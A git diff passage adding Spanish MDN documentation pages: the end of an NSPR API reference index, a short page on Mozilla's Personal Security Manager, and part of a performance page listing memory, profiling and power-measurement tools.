+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types#Directory_Type">Directory Type</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types#File_Descriptor_Types">File Descriptor Types</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types#File_Info_Types">File Info Types</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types#Network_Address_Types">Network Address Types</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types#Types_Used_with_Socket_Options_Functions">Types Used with Socket Options Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types#Type_Used_with_Memory-Mapped_I.2FO">Type Used with Memory-Mapped I/O</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Types#Offset_Interpretation_for_Seek_Functions">Offset Interpretation for Seek Functions</a></li>
+</ul>
+
+<h2 id="I.2FO_Functions" name="I.2FO_Functions"><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions">I/O Functions</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Functions_that_Operate_on_Pathnames">Functions that Operate on Pathnames</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Functions_that_Act_on_File_Descriptors">Functions that Act on File Descriptors</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Directory_I.2FO_Functions">Directory I/O Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Socket_Manipulation_Functions">Socket Manipulation Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Converting_Between_Host_and_Network_Addresses">Converting Between Host and Network Addresses</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Memory-Mapped_I.2FO_Functions">Memory-Mapped I/O Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Anonymous_Pipe_Function">Anonymous Pipe Function</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Polling_Functions">Polling Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Pollable_Events">Pollable Events</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/I_O_Functions#Manipulating_Layers">Manipulating Layers</a></li>
+</ul>
+
+<h2 id="Network_Addresses" name="Network_Addresses"><a href="/Mozilla/Projects/NSPR/Reference/Network_Addresses">Network Addresses</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Network_Addresses#Network_Address_Types_and_Constants">Network Address Types and Constants</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Network_Addresses#Network_Address_Functions">Network Address Functions</a></li>
+</ul>
+
+<h2 id="Atomic_Operations" name="Atomic_Operations"><a href="/Mozilla/Projects/NSPR/Reference/Atomic_Operations">Atomic Operations</a></h2>
+
+<ul>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_AtomicIncrement">PR_AtomicIncrement</a></code></li>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_AtomicDecrement">PR_AtomicDecrement</a></code></li>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_AtomicSet">PR_AtomicSet</a></code></li>
+</ul>
+
+<h2 id="Interval_Timing" name="Interval_Timing"><a href="/Mozilla/Projects/NSPR/Reference/Interval_Timing">Interval Timing</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Interval_Timing#Interval_Time_Type_and_Constants">Interval Time Type and Constants</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Interval_Timing#Interval_Functions">Interval Functions</a></li>
+</ul>
+
+<h2 id="Date_and_Time" name="Date_and_Time"><a href="/Mozilla/Projects/NSPR/Reference/Date_and_Time">Date and Time</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Date_and_Time#Types_and_Constants">Types and Constants</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Date_and_Time#Time_Parameter_Callback_Functions">Time Parameter Callback Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Date_and_Time#Functions">Functions</a></li>
+</ul>
+
+<h2 id="Memory_Management_Operations" name="Memory_Management_Operations"><a href="/Mozilla/Projects/NSPR/Reference/Memory_Management_Operations">Memory Management Operations</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Memory_Management_Operations#Memory_Allocation_Functions">Memory Allocation Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Memory_Management_Operations#Memory_Allocation_Macros">Memory Allocation Macros</a></li>
+</ul>
+
+<h2 id="String_Operations" name="String_Operations"><a href="/Mozilla/Projects/NSPR/Reference/String_Operations">String Operations</a></h2>
+
+<ul>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PL_strlen">PL_strlen</a></code></li>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PL_strcpy">PL_strcpy</a></code></li>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PL_strdup">PL_strdup</a></code></li>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PL_strfree">PL_strfree</a></code></li>
+</ul>
+
+<h2 id="Floating_Point_Number_to_String_Conversion" name="Floating_Point_Number_to_String_Conversion"><a href="/Mozilla/Projects/NSPR/Reference/Floating_Point_Number_to_String_Conversion">Floating Point Number to String Conversion</a></h2>
+
+<ul>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_strtod">PR_strtod</a></code></li>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_dtoa">PR_dtoa</a></code></li>
+ <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_cnvtf">PR_cnvtf</a></code></li>
+</ul>
+
+<h2 id="Long_Long_.2864-bit.29_Integers" name="Long_Long_.2864-bit.29_Integers">Long Long (64-bit) Integers</h2>
+
+<h2 id="BitMaps" name="BitMaps">BitMaps</h2>
+
+<h2 id="Formatted_Printing" name="Formatted_Printing">Formatted Printing</h2>
+
+<h2 id="Linked_Lists" name="Linked_Lists"><a href="/Mozilla/Projects/NSPR/Reference/Linked_Lists">Linked Lists</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Linked_Lists#Linked_List_Types">Linked List Types</a>
+
+  <ul>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PRCList">PRCList</a></code></li>
+  </ul>
+ </li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Linked_Lists#Linked_List_Macros">Linked List Macros</a>
+  <ul>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_INIT_CLIST">PR_INIT_CLIST</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_INIT_STATIC_CLIST">PR_INIT_STATIC_CLIST</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_APPEND_LINK">PR_APPEND_LINK</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_INSERT_LINK">PR_INSERT_LINK</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_NEXT_LINK">PR_NEXT_LINK</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_PREV_LINK">PR_PREV_LINK</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_REMOVE_LINK">PR_REMOVE_LINK</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_REMOVE_AND_INIT_LINK">PR_REMOVE_AND_INIT_LINK</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_INSERT_BEFORE">PR_INSERT_BEFORE</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_INSERT_AFTER">PR_INSERT_AFTER</a></code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Dynamic_Library_Linking" name="Dynamic_Library_Linking"><a href="/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking">Dynamic Library Linking</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Library_Linking_Types">Library Linking Types</a>
+
+  <ul>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PRLibrary">PRLibrary</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PRStaticLinkTable">PRStaticLinkTable</a></code></li>
+  </ul>
+ </li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Library_Linking_Functions">Library Linking Functions</a>
+  <ul>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_SetLibraryPath">PR_SetLibraryPath</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_GetLibraryPath">PR_GetLibraryPath</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_GetLibraryName">PR_GetLibraryName</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_FreeLibraryName">PR_FreeLibraryName</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_LoadLibrary">PR_LoadLibrary</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_UnloadLibrary">PR_UnloadLibrary</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_FindSymbol">PR_FindSymbol</a></code></li>
+   <li><code><a href="/Mozilla/Projects/NSPR/Reference/PR_FindSymbolAndLibrary">PR_FindSymbolAndLibrary</a></code></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Finding_Symbols_Defined_in_the_Main_Executable_Program">Finding Symbols Defined in the Main Executable Program</a></li>
+  </ul>
+ </li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Platform_Notes">Platform Notes</a>
+  <ul>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Dynamic_Library_Search_Path">Dynamic Library Search Path</a></li>
+   <li><a href="/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Exporting_Symbols_from_the_Main_Executable_Program">Exporting Symbols from the Main Executable Program </a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Process_Management_and_Interprocess_Communication" name="Process_Management_and_Interprocess_Communication"><a href="/En/NSPR_API_Reference/Process_Management_and_Interprocess_Communication">Process Management and Interprocess Communication</a></h2>
+
+<ul>
+ <li><a class="internal" href="/En/NSPR_API_Reference/Process_Management_and_Interprocess_Communication#Process_Management_Types_and_Constants">Process Management Types and Constants</a>
+
+  <ul>
+   <li><code><a class="internal" href="/En/PRProcess">PRProcess</a></code></li>
+   <li><code><a class="internal" href="/En/PRProcessAttr">PRProcessAttr</a></code></li>
+  </ul>
+ </li>
+ <li><a class="internal" href="/En/NSPR_API_Reference/Process_Management_and_Interprocess_Communication#Process_Management_Functions">Process Management Functions</a>
+  <ul>
+   <li><a class="internal" href="/En/NSPR_API_Reference/Process_Management_and_Interprocess_Communication#Setting_the_Attributes_of_a_New_Process">Setting the Attributes of a New Process</a></li>
+   <li><a class="internal" href="/En/NSPR_API_Reference/Process_Management_and_Interprocess_Communication#Creating_and_Managing_Processes">Creating and Managing Processes</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Multiwait_Receive" name="Multiwait_Receive">Multiwait Receive</h2>
+
+<h2 id="System_Information_and_Environment_Variables" name="System_Information_and_Environment_Variables">System Information and Environment Variables</h2>
+
+<h2 id="Logging" name="Logging"><a href="/NSPR_API_Reference/Logging">Logging</a></h2>
+
+<ul>
+ <li><a href="/NSPR_API_Reference/Logging#Conditional_Compilation_and_Execution">Conditional Compilation and Execution</a></li>
+ <li><a href="/NSPR_API_Reference/Logging#Log_Types_and_Variables">Log Types and Variables</a>
+  <ul>
+   <li><code><a href="/docs/Mozilla/Projects/NSPR/Reference/Logging/PRLogModuleInfo">PRLogModuleInfo</a></code></li>
+   <li><code><a href="/docs/Mozilla/Projects/NSPR/Reference/Logging/PRLogModuleLevel">PRLogModuleLevel</a></code></li>
+   <li><code><a href="/docs/Mozilla/Projects/NSPR/Reference/Logging/NSPR_LOG_MODULES">NSPR_LOG_MODULES</a></code></li>
+   <li><code><a href="/docs/Mozilla/Projects/NSPR/Reference/Logging/NSPR_LOG_FILE">NSPR_LOG_FILE</a></code></li>
+  </ul>
+ </li>
+ <li><a href="/NSPR_API_Reference/Logging#Logging_Functions_and_Macros">Logging Functions and Macros</a>
+  <ul>
+   <li><code><a href="PR_NewLogModule">PR_NewLogModule</a></code></li>
+   <li><code><a href="PR_SetLogFile">PR_SetLogFile</a></code></li>
+   <li><code><a href="PR_SetLogBuffering">PR_SetLogBuffering</a></code></li>
+   <li><code><a href="PR_LogPrint">PR_LogPrint</a></code></li>
+   <li><code><a href="PR_LogFlush">PR_LogFlush</a></code></li>
+   <li><code><a href="PR_LOG_TEST">PR_LOG_TEST</a></code></li>
+   <li><code><a href="PR_LOG">PR_LOG</a></code></li>
+   <li><code><a href="PR_Assert_">PR_Assert</a></code></li>
+   <li><a href="/en-US/docs/Mozilla/Projects/NSPR/Reference/PR_ASSERT">PR_ASSERT</a></li>
+   <li><code><a href="PR_NOT_REACHED">PR_NOT_REACHED</a></code></li>
+  </ul>
+ </li>
+ <li><a href="/NSPR_API_Reference/Logging#Use_Example">Use Example</a></li>
+</ul>
+
+<h2 id="Instrumentation_Counters" name="Instrumentation_Counters">Instrumentation Counters</h2>
+
+<h2 id="Named_Shared_Memory" name="Named_Shared_Memory"><a href="/Mozilla/Projects/NSPR/Reference/Named_Shared_Memory">Named Shared Memory</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Named_Shared_Memory#Shared_Memory_Protocol">Shared Memory Protocol</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Named_Shared_Memory#Named_Shared_Memory_Functions">Named Shared Memory Functions</a></li>
+</ul>
+
+<h2 id="Anonymous_Shared_Memory" name="Anonymous_Shared_Memory"><a href="/Mozilla/Projects/NSPR/Reference/Anonymous_Shared_Memory">Anonymous Shared Memory</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Anonymous_Shared_Memory#Anonymous_Memory_Protocol">Anonymous Memory Protocol</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Anonymous_Shared_Memory#Anonymous_Shared_Memory_Functions">Anonymous Shared Memory Functions</a></li>
+</ul>
+
+<h2 id="IPC_Semaphores" name="IPC_Semaphores"><a href="/Mozilla/Projects/NSPR/Reference/IPC_Semaphores">IPC Semaphores</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/IPC_Semaphores#IPC_Semaphore_Functions">IPC Semaphore Functions</a></li>
+</ul>
+
+<h2 id="Thread_Pools" name="Thread_Pools"><a href="/Mozilla/Projects/NSPR/Reference/Thread_Pools">Thread Pools</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Thread_Pools#Thread_Pool_Types">Thread Pool Types</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Thread_Pools#Thread_Pool_Functions">Thread Pool Functions</a></li>
+</ul>
+
+<h2 id="Random_Number_Generator" name="Random_Number_Generator"><a href="/Mozilla/Projects/NSPR/Reference/Random_Number_Generator">Random Number Generator</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Random_Number_Generator#Random_Number_Generator_Function">Random Number Generator Function</a></li>
+</ul>
+
+<h2 id="Hash_Tables" name="Hash_Tables"><a href="/Mozilla/Projects/NSPR/Reference/Hash_Tables">Hash Tables</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Hash_Tables#Hash_Tables_and_Type_Constants">Hash Tables and Type Constants</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/Hash_Tables#Hash_Table_Functions">Hash Table Functions</a></li>
+</ul>
+
+<h2 id="NSPR_Error_Handling" name="NSPR_Error_Handling"><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling">NSPR Error Handling</a></h2>
+
+<ul>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Type">Error Type</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Functions">Error Functions</a></li>
+ <li><a href="/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Codes">Error Codes</a></li>
+</ul>
diff --git a/files/es/mozilla/projects/psm/index.html b/files/es/mozilla/projects/psm/index.html
new file mode 100644
index 0000000000..5251e19a4b
--- /dev/null
+++ b/files/es/mozilla/projects/psm/index.html
@@ -0,0 +1,11 @@
+---
+title: Administrador de seguridad personal
+slug: Mozilla/Projects/PSM
+translation_of: Mozilla/Projects/PSM
+---
+<p>Administrador de seguridad personal consiste de un conjunto de librerías que realizan operaciones de criptografía en nombre de una aplicación instalada. Estas operaciones incluyen la creación de una conexión SSL, objeto de firmas y verificación de firmas, la administración de certificados (incluye la emisión y revocación), y otras funciones de PKI.</p>
+<p>Notas:</p>
+<ul>
+ <li>PSM siempre se <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Build_Instructions">construye con Firefox</a> , así que no hay instrucciones de construcción separadas.</li>
+ <li><a href="http://www-archive.mozilla.org/projects/security/pki/psm/">Información Archivada sobre PSM</a></li>
+</ul>
diff --git a/files/es/mozilla/rendimiento/index.html b/files/es/mozilla/rendimiento/index.html
new file mode 100644
index 0000000000..33c54bd649
--- /dev/null
+++ b/files/es/mozilla/rendimiento/index.html
@@ -0,0 +1,135 @@
+---
+title: Rendimiento
+slug: Mozilla/Rendimiento
+translation_of: Mozilla/Performance
+---
+<p><span class="tlid-translation translation" lang="es"><span title="">Los artículos vinculados desde aquí te ayudarán a mejorar el rendimiento, ya sea que estés desarrollando un código de Mozilla central o un complemento.</span></span></p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Documentation">Documentation</h3>
+
+    <dl>
+     <dt><a href="/en/Performance/Reporting_a_Performance_Problem" title="en/Performance/Reporting_a_Performance_Problem">Reportar un Problema de rendimiento</a></dt>
+     <dd><span class="tlid-translation translation" lang="es"><span title="">Una guía fácil de usar para reportar un problema de rendimiento.</span> <span title="">No se requiere un entorno de desarrollo.</span></span></dd>
+     <dt><a href="Benchmarking" title="Performance/Benchmarking advice">Benchmarking</a></dt>
+     <dd><span class="tlid-translation translation" lang="es"><span title="">Consejos para generar métricas de rendimiento válidas.</span></span></dd>
+     <dt><a href="/en/Extensions/Performance_best_practices_in_extensions" title="en/Extensions/Performance best practices in extensions">Mejores prácticas de rendimiento en extensiones</a></dt>
+     <dd><span class="tlid-translation translation" lang="es"><span title="">Una guía de rendimiento de "mejores prácticas" para desarrolladores de extensiones.</span></span></dd>
+     <dt><a href="/en/Performance/Measuring_add-on_startup_performance" title="en/Measuring Add-on Startup Performance">Measuring Add-on Startup Performance</a></dt>
+     <dd>A guide for add-on developers on how to set up a performance testing environment.</dd>
+     <dt><a href="/en/XUL_School/Appendix_A:_Add-on_Performance" title="en/XUL School/Appendix A: Add-on Performance">XUL School: Add-on Performance</a></dt>
+     <dd>Tips for add-on developers to help them avoid impairing application performance.</dd>
+     <dt><a href="/en/Performance/GPU_performance" title="en/GPU performance">GPU performance</a></dt>
+     <dd>Tips for profiling and improving performance when using a GPU.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/ScrollLinkedEffects">Scroll-Linked Effects</a></dt>
+     <dd>Information on scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Automated_Performance_Testing_and_Sheriffing">Automated Performance Testing and Sheriffing</a></dt>
+     <dd>Information on automated performance testing and sheriffing at Mozilla.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a class="internal" href="/Special:Tags?tag=Performance" title="Special:Tags?tag=Performance">View all pages tagged with "Performance"...</a></span></p>
+
+    <h3 id="Memory_profiling_and_leak_detection_tools">Memory profiling and leak detection tools</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Memory" title="en/Performance/Profiling with the Built-in Profiler">The Developer Tools "Memory" panel</a></dt>
+     <dd>The memory panel in the devtools supports taking heap snapshots, diffing them, computing dominator trees to surface "heavy retainers", and recording allocation stacks.</dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Performance/about:memory">about:memory</a></dt>
+     <dd>about:memory is the easiest-to-use tool for measuring memory usage in Mozilla code, and is the best place to start. It also lets you do other memory-related operations like trigger GC and CC, dump GC &amp; CC logs, and dump DMD reports. about:memory is built on top of Firefox's <a href="/en-US/docs/Mozilla/Performance/Memory_reporting">memory reporting</a> infrastructure.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/DMD">DMD</a></dt>
+     <dd>DMD is a tool that identifies shortcomings in about:memory's measurements, and can also do multiple kinds of general heap profiling.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/AWSY">Are We Slim Yet</a></dt>
+     <dd>areweslimyet.com (a.k.a. AWSY) is a memory usage and regression tracker.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/BloatView">BloatView</a></dt>
+     <dd>BloatView prints per-class statistics on allocations and refcounts, and provides gross numbers on the amount of memory being leaked broken down by class. It is used as part of Mozilla's continuous integration testing.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/Refcount_tracing_and_balancing">Refcount tracing and balancing</a></dt>
+     <dd>Refcount tracing and balancing are ways to track down leaks caused by incorrect uses of reference counting. They are slow and not particular easy to use, and thus most suitable for use by expert developers.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/GC_and_CC_logs">GC and CC logs</a></dt>
+     <dd>GC and CC logs can be generated and analyzed to in various ways. In particular, they can help you understand why a particular object is being kept alive.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Testing/Valgrind">Valgrind</a></dt>
+     <dd><a class="external text" href="http://valgrind.org/" rel="nofollow">Valgrind</a> is a tool that detects various memory-related problems at runtime, including leaks. Valgrind is used as <a class="external text" href="/en-US/docs/Valgrind_test_job" rel="nofollow">part</a> of Mozilla's continuous integration testing, though the coverage is limited because Valgrind is slow.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer#LeakSanitizer">LeakSanitizer</a></dt>
+     <dd><span class="external text">LeakSanitizer</span> (a.k.a. LSAN) is similar to Valgrind, but it runs faster because it uses static source code instrumentation. LSAN is part of Mozilla's continuous integration testing, with most tests running through it as part of the AddressSanitizer (a.k.a. ASAN) test jobs.</dd>
+     <dt><a href="https://developer.apple.com/documentation/Performance/Conceptual/ManagingMemory/Articles/FindingLeaks.html">Apple tools</a></dt>
+     <dd>Apple provides <span class="external text">some tools</span> for Mac OS X that report similar problems to those reported by LSAN and Valgrind. The "leaks" tool is not recommended for use with SpiderMonkey or Firefox, because it gets confused by tagged pointers and thinks objects have leaked when they have not (see <a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=390944" rel="nofollow">bug 390944</a>).</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Leak_Gauge">Leak Gauge</a></dt>
+     <dd>Leak Gauge is a tool that can be used to detect certain kinds of leaks in Gecko, including those involving documents, window objects, and docshells.</dd>
+     <dt><a href="https://dxr.mozilla.org/mozilla-central/source/memory/replace/logalloc/README">LogAlloc</a></dt>
+     <dd>LogAlloc is a tool that dumps a log of memory allocations in Gecko. That log can then be replayed against Firefox's default memory allocator independently or through another replace-malloc library, allowing the testing of other allocators under the exact same workload.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Memory_Profiler">Memory Profiler</a></dt>
+     <dd>The memory profiler samples allocation events and provides different views to analyze the allocation characteristic.</dd>
+    </dl>
+
+    <p>See also the documentation on <a href="/en-US/docs/Mozilla/Performance/Leak-hunting_strategies_and_tips">Leak-hunting strategies and tips.</a></p>
+   </td>
+   <td>
+    <h3 id="Profiling_and_performance_tools">Profiling and performance tools</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance" title="en/Performance/Profiling with the Built-in Profiler">Profiling with the Developer Tools Profiler</a></dt>
+     <dd>The profiler built into the developer tools has a high-level waterfall, detailed call tree, allocations and GC profiling, and flame graphs. It is available on all platforms and release channels, and also supports remote profiling b2g and Fennec.</dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/en/Performance/Profiling_with_the_Built-in_Profiler" title="en/Performance/Profiling with the Built-in Profiler">Profiling with the Gecko Profiler</a> {{ gecko_minversion_inline("16.0") }}</dt>
+     <dd>The Gecko Profiler is a good tool to start with, particularly for understanding where time is spent within C++ code in Firefox.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Instruments" title="en/Performance/Profiling with Instruments">Profiling with Instruments</a></dt>
+     <dd>How to use Apple's Instruments tool to profile Mozilla code.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Xperf" title="en/Performance/Profiling with Xperf">Profiling with Xperf</a></dt>
+     <dd>How to use Microsoft's Xperf tool to profile Mozilla code.</dd>
+     <dt><a href="/en-US/docs/Performance/Profiling_with_Concurrency_Visualizer" title="en/Performance/Profiling with Concurrency Visualizer">Profiling with Concurrency Visualizer</a></dt>
+     <dd>How to use Visual Studio's Concurrency Visualizer tool to profile Mozilla code.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Zoom" title="en/Performance/Profiling with Zoom">Profiling with Zoom</a></dt>
+     <dd>Zoom is a profiler for Linux done by the people who made Shark</dd>
+     <dt><a href="/en/Performance/Measuring_performance_using_the_PerfMeasurement.jsm_code_module" title="en/Performance/Measuring performance using the PerfMeasurement.jsm code module">Measuring performance using the PerfMeasurement.jsm code module</a> {{ gecko_minversion_inline("2.0") }}</dt>
+     <dd>Using <a href="/en/JavaScript_code_modules/PerfMeasurement.jsm" title="en/JavaScript code modules/PerfMeasurement.jsm"><code>PerfMeasurement.jsm</code></a> to measure performance data in your JavaScript code.</dd>
+     <dt><a href="/en-US/docs/Performance/Adding_a_new_Telemetry_probe" title="https://developer.mozilla.org/en-US/docs/Performance/Adding_a_new_Telemetry_probe">Adding a new Telemetry probe</a></dt>
+     <dd>Information on how to add a new measurement to the Telemetry performance-reporting system</dd>
+     <dt><a href="/en/Performance/Profiling_JavaScript_with_Shark" title="en/Performance/Profiling JavaScript with Shark">Profiling JavaScript with Shark</a> (obsolete - replaced by Instruments)</dt>
+     <dd>How to use the Mac OS X Shark profiler to profile JavaScript code in Firefox 3.5 or later.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Shark" title="en/Performance/Profiling with Shark">Profiling with Shark</a> (obsolete - replaced by Instruments)</dt>
+     <dd>How to use Apple's Shark tool to profile Mozilla code.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Investigating_CSS_Performance">Investigating CSS Performance</a></dt>
+     <dd>How to figure out why restyle is taking so long</dd>
+    </dl>
+
+    <h3 id="Power_profiling">Power profiling</h3>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Power_profiling_overview">Power profiling overview</a></dt>
+     <dd>This page provides an overview of relevant information, including details about hardware, what can be measured, and recommended approaches. It should be the starting point for anybody new to power profiling.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/tools_power_rapl">tools/power/rapl</a></code> (Mac, Linux)</dt>
+     <dd><code>tools/power/rapl</code> is a command-line utility in the Mozilla codebase that uses the Intel RAPL interface to gather direct power estimates for the package, cores, GPU and memory.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/powermetrics">powermetrics</a></code> (Mac-only)</dt>
+     <dd><code>powermetrics</code> is a command-line utility that gathers and displays a wide range of global and per-process measurements, including CPU usage, GPU usage, and various wakeups frequencies.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/TimerFirings_logging">TimerFirings logging</a> (All platforms)</dt>
+     <dd>TimerFirings logging is a built-in logging mechanism that prints data on every time fired.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Activity_Monitor_and_top">Activity Monitor, Battery Status Menu and <code>top</code></a> (Mac-only)</dt>
+     <dd>The battery status menu, Activity Monitor and <code>top</code> are three related Mac tools that have major flaws but often consulted by users, and so are worth understanding.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Intel_Power_Gadget">Intel Power Gadget</a> (Windows, Mac, Linux)</dt>
+     <dd>Intel Power Gadget provides real-time graphs for package and processor RAPL estimates. It also provides an API through which those estimates can be obtained.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/perf">perf</a></code> (Linux-only)</dt>
+     <dd><code>perf</code> is a powerful command-line utility that can measure many different things, including energy estimates and high-context measurements of things such as wakeups.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/turbostat">turbostat</a></code> (Linux-only)</dt>
+     <dd><code>turbostat</code> is a command-line utility that gathers and displays various power-related measurements, with a focus on per-CPU measurements such as frequencies and C-states.</dd>
+     <dt><code><a href="https://01.org/powertop">powertop</a></code> (Linux-only)</dt>
+     <dd><code>powertop</code> is an interactive command-line utility that gathers and displays various power-related measurements.</dd>
+    </dl>
+
+    <h3 id="Related_Topics">Related Topics</h3>
+
+    <dl>
